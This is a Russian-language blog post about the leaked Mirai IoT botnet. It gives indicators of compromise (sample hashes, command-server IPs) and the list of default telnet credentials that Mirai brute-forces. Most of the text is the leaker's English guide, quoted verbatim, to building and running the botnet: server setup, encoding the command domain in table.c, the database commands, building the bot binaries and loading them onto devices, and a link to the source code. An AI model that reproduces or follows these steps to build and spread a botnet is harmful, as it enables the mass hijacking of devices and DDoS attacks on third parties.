03.10.2016 @ 0:35 IoT ботнет Mirai: более 150.000 зараженных устройств по всему миру ddos, IoT, Mirai На минувшей неделе в сеть утекли исходники составляющих ботнета Mirai — использованного при рекордных DDoS атаках мощностью до 1 Tб/с. ВНИМАНИЕ: Автор не несет ответственности за возможные последствия применения данных примеров программного обеспечения в противоправных или противозаконных целях и напоминает: ст. 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ 1. Создание, распространение или использование компьютерных программ либо иной компьютерной информации, заведомо предназначенных для несанкционированного уничтожения, блокирования, модификации, копирования компьютерной информации или нейтрализации средств защиты компьютерной информации, — наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до четырех лет, либо лишением свободы на тот же срок со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев. 2. Деяния, предусмотренные частью первой настоящей статьи, совершенные группой лиц по предварительному сговору или организованной группой либо лицом с использованием своего служебного положения, а равно причинившие крупный ущерб или совершенные из корыстной заинтересованности, — наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до пяти лет с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового, либо лишением свободы на срок до пяти лет со штрафом в размере от ста тысяч до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период от двух до трех лет или без такового и с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового. 3. Деяния, предусмотренные частями первой или второй настоящей статьи, если они повлекли тяжкие последствия или создали угрозу их наступления, — наказываются лишением свободы на срок до семи лет. Этот ботнет состоит в основном из камер, DVR устройств и т.д. Заражение происходит довольно просто: интернет сканируется на открытые 80/23 (web/telnet) порты и подбираются захардкоженые учетные записи. Мало кто из пользователей меняет пароли встроенных учетных записей (если это возможно), поэтом ботнет непрерывно пополняется новыми устройствами. Если можно сменить пароль от веб-интерфейса находясь в нем, то пароль да и само наличие telnet доступа от многих пользователей просто ускользает. Наиболее часто используются следующие учетные записи: enable:system shell:sh admin:admin root:xc3511 root:vizxv root:admin root:xmhdipc root:123456 root:888888 support:support root:54321 root:juantech root:anko root:12345 admin: root:default admin:password root:root root: user:user admin:smcadmin root:pass admin:admin1234 root:1111 guest:12345 root:1234 root:password root:666666 admin:1111 service:service root:system supervisor:supervisor root:klv1234 administrator:1234 root:ikwb root:Zte521 После получения доступа командный центр получает бинарное уведомление о наличии нового бота: 4a 9a d1 d1 = XXX.XXX.XXX.XXX (здесь был адрес хоста) 05 = Tab 17 = 23 (Port 23 Telnet) 05 = Tab 61 64 6d 69 6e = username:admin admin 05= Tab 61 64 6d 69 6e = user password: admin Компоненты ботнета рассчитаны на работу в разных средах, о чем говорят выявленные семплы: b0803b91933fe61b1abc91b001699058 mirai.arm d2273df4dcff8cca812104cf17a23bca mirai.arm7 c16ea02487ddcdfbae313f45de23d064 mirai.mips edeb470ad89d81dfcf72e5c9d7a9eb6c mirai.ppc 1cb8051b5a220b12a913048a23490f02 mirai.sh4 Командные сервера в данный момент зафиксированы на следующих адресах: 103.1.210.27 103.1.210.28 185.130.225.65 185.130.225.66 185.130.225.83 185.130.225.90 185.130.225.94 185.130.225.95 185.70.105.161 185.70.105.164 185.93.185.11 185.93.185.12 200.170.143.5 46.249.38.145 46.249.38.146 46.249.38.148 46.249.38.149 46.249.38.150 46.249.38.151 46.249.38.152 46.249.38.153 46.249.38.154 46.249.38.155 46.249.38.159 46.249.38.160 46.249.38.161 80.87.205.10 80.87.205.11 Инструкция по созданию ботнета довольно простая, привожу as is (источник http://pastebin.com/E90i6yBB): Greetz everybody, When I first go in DDoS industry, I wasn’t planning on staying in it long. I made my money, there’s lots of eyes looking at IOT now, so it’s time to GTFO. However, I know every skid and their mama, it’s their wet dream to have something besides qbot. So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping. So, I am your senpai, and I will treat you real nice, my hf-chan. And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol Also, shoutout to this blog post by malwaremustdie http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html <- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. «We still have better kung fu than you kiddos» don’t make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL Let me give you some slaps back — 1) port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together 2) /dev/watchdog and /dev/misc are not for «making the delay», it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb 3) You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol «And doing the backdoor to connect via HTTP on 65.222.202.53». you got tripped up by signal flow ;) try harder skiddo 4) Your skeleton tool sucks ass, it thought the attack decoder was «sinden style», but it does not even use a text-based protocol? CNC and bot communicate over binary protocol 5) you say ‘chroot(«/») so predictable like torlus’ but you don’t understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland 5 slaps for you Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you «beat me» with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back. Just as I forever be free, you will be doomed to mediocracy forever. Requirements 2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading OP Requirements 2 VPS and 4 servers — 1 VPS with extremely bulletproof host for database server — 1 VPS, rootkitted, for scanReceiver and distributor — 1 server for CNC (used like 2% CPU with 400k bots) — 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally) — To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address — Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in. — Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder. Mirai uses a spreading mechanism similar to self-rep, but what I call «real-time-load». Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading. The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections — in theory, this value lot less). I would have maybe 60k — 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs. Bot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you *need* to change to get working. — TABLE_CNC_DOMAIN — Domain name of CNC to connect to — DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :) — TABLE_CNC_PORT — Port to connect to, its set to 23 already — TABLE_SCAN_CB_DOMAIN — When finding bruted results, this domain it is reported to — TABLE_SCAN_CB_PORT — Port to connect to for bruted results, it is set to 48101 already. In ./mirai/tools you will find something called enc.c — You must compile this to output things to put in the table.c file Run this inside mirai directory ./build.sh debug telnet You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won’t affect compiling the enc tool Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this: ./debug/enc string fuck.the.police.com The output should look like this XOR’ing 20 bytes of data… \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22 To update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see «XOR’ing 20 bytes of data». This value must replace the last argument tas well. So for example, the table.c line originally looks like this add_entry(TABLE_CNC_DOMAIN, «\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22», 30); // cnc.changeme.com Now that we know value from enc tool, we update it like this add_entry(TABLE_CNC_DOMAIN, «\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″, 20); // fuck.the.police.com Some values are strings, some are port (uint16 in network order / big endian). CONFIGURE THE CNC: apt-get install mysql-server mysql-client CNC requires database to work. When you install database, go into it and run following commands: http://pastebin.com/86d0iL9g This will create database for you. To add your user, INSERT INTO users VALUES (NULL, ‘anna-senpai’, ‘myawesomepassword’, 0, 0, 0, 0, -1, 1, 30, »); Now, go into file ./mirai/cnc/main.go Edit these values const DatabaseAddr string = «127.0.0.1» const DatabaseUser string = «root» const DatabasePass string = «password» const DatabaseTable string = «mirai» To the information for the mysql server you just installed Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect. http://pastebin.com/1rRCc3aD The CNC, bot, and related tools: http://dopefile.pk/a9f2n9ewk8om How to build bot + CNC In mirai folder, there is build.sh script. ./build.sh debug telnet Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to ./mirai/debug folder ./build.sh release telnet Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: «mirai.$ARCH» to ./mirai/release folder Loader reads telnet entries from STDIN in following format: ip:port user:pass It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget. ./build.sh Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this cat file.txt | ./loader Remember to ulimit! Just so it’s clear, I’m not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like «My bot not connect, fix it» #FREEAPPLEJ4CK Luka Safonov 28532 Malware analysis Читать дальше >>